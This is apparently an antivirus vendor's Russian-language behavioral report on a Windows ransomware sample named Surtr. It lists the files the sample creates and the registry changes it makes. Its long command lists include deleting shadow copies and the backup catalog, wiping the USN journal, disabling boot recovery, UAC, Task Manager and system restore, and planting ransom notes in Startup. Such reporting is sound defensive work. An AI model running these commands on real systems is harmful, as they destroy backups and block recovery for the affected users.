Техническая информация
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
блокирует:
- Компонент восстановления системы (SR)
- Средство контроля пользовательских учетных записей (UAC)
изменяет следующие системные настройки:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'StartMenuLogOff' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoClose' = '00000001'
удаляет теневые копии разделов.
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\vds.exe
Изменения в файловой системе
Создает следующие файлы
- %ALLUSERSPROFILE%\service\service.surt
- %ALLUSERSPROFILE%\service\bus.surt
- %ALLUSERSPROFILE%\service\reg.surt
- %ALLUSERSPROFILE%\service\id_data.surt
- %ALLUSERSPROFILE%\service\publicdata_kueiwhur71es79.surt
- %ALLUSERSPROFILE%\service\privatedata_kueiwhur71es79.surt
- %ALLUSERSPROFILE%\service\surtr_readme.hta
- %ALLUSERSPROFILE%\service\surtr_readme.txt
- %ALLUSERSPROFILE%\service\surtr.exe
- %TEMP%\service\surtr.exe
- %TEMP%\service\publicdata_kueiwhur71es79.surt
Сетевая активность
UDP
- DNS ASK ip##pi.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=S:\ /on=S:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=R:\ /on=R:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=R:\ /on=R:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=Q:\ /on=Q:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=Q:\ /on=Q:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=P:\ /on=P:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=P:\ /on=P:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=O:\ /on=O:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=O:\ /on=O:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=S:\ /on=S:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=B:\ /on=B:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=A:\ /on=A:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=A:\ /on=A:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=Z:\ /on=Z:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=Y:\ /on=Y:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=Z:\ /on=Z:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=Y:\ /on=Y:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=X:\ /on=X:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=X:\ /on=X:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=W:\ /on=W:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=V:\ /on=V:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=W:\ /on=W:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=V:\ /on=V:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=U:\ /on=U:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=U:\ /on=U:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=T:\ /on=T:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=T:\ /on=T:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=<Имя диска съемного носителя>:\ /on=<Имя диска съемного носителя>:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c wbadmin.exe delete catalog -quiet' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=D:\ /on=D:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=<Имя диска съемного носителя>:\ /on=<Имя диска съемного носителя>:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c fsutil.exe usn deletejournal /D C:' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c bcdedit /set {default} recoveryenabled No' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=D:\ /on=D:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin.exe Delete Shadows /all /quiet' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=401MB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=unbounded' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=B:\ /on=B:\ /maxsize=401MB' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c mkdir %ALLUSERSPROFILE%\Service
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=R:\ /on=R:\ /maxsize=unbounded
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=S:\ /on=S:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=K:\ /on=K:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=R:\ /on=R:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=T:\ /on=T:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.hta" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.hta"
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=T:\ /on=T:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=S:\ /on=S:\ /maxsize=unbounded
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=L:\ /on=L:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=Q:\ /on=Q:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=K:\ /on=K:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f
- '<SYSTEM32>\wbengine.exe'
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=J:\ /on=J:\ /maxsize=unbounded
- '<SYSTEM32>\vds.exe'
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=O:\ /on=O:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=O:\ /on=O:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=P:\ /on=P:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=P:\ /on=P:\ /maxsize=unbounded
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=Q:\ /on=Q:\ /maxsize=401MB
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=L:\ /on=L:\ /maxsize=401MB
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=N:\ /on=N:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=U:\ /on=U:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=U:\ /on=U:\ /maxsize=unbounded
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Surtr.exe" "%TEMP%\Service\Surtr.exe"
- '%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\PublicData_kueiwhur71es79.surt" "%TEMP%\Service\PublicData_kueiwhur71es79.surt"
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=A:\ /on=A:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=B:\ /on=B:\ /maxsize=unbounded
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=M:\ /on=M:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=B:\ /on=B:\ /maxsize=401MB
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=S:\ /on=S:\ /maxsize=unbounded
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=V:\ /on=V:\ /maxsize=unbounded
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=U:\ /on=U:\ /maxsize=unbounded
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\PrivateData_kueiwhur71es79.surt" "%TEMP%\Service\PrivateData_kueiwhur71es79.surt"
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=T:\ /on=T:\ /maxsize=unbounded
- '%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\ID_DATA.surt" "%TEMP%\Service\ID_DATA.surt"
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\SURTR_README.hta" "%TEMP%\Service\SURTR_README.hta"
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=A:\ /on=A:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=Y:\ /on=Y:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=Z:\ /on=Z:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=Z:\ /on=Z:\ /maxsize=401MB
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=V:\ /on=V:\ /maxsize=401MB
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=R:\ /on=R:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=W:\ /on=W:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=V:\ /on=V:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=W:\ /on=W:\ /maxsize=unbounded
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=X:\ /on=X:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=X:\ /on=X:\ /maxsize=unbounded
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.txt" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.txt"
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=Y:\ /on=Y:\ /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\SURTR_README.txt" "%TEMP%\Service\SURTR_README.txt"
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=J:\ /on=J:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=<Имя диска съемного носителя>:\ /on=<Имя диска съемного носителя>:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=401MB
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c wbadmin.exe delete catalog -quiet
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c chcp 437
- '%WINDIR%\syswow64\chcp.com' 437
- '%WINDIR%\syswow64\cmd.exe' /c mkdir "%TEMP%\Service"
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c vssadmin.exe Delete Shadows /all /quiet
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
- '%WINDIR%\syswow64\cmd.exe' /c @echo off
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=D:\ /on=D:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c fsutil.exe usn deletejournal /D C
- '<SYSTEM32>\cmd.exe' /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=<Имя диска съемного носителя>:\ /on=<Имя диска съемного носителя>:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=D:\ /on=D:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c bcdedit /set {default} recoveryenabled No
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=401MB
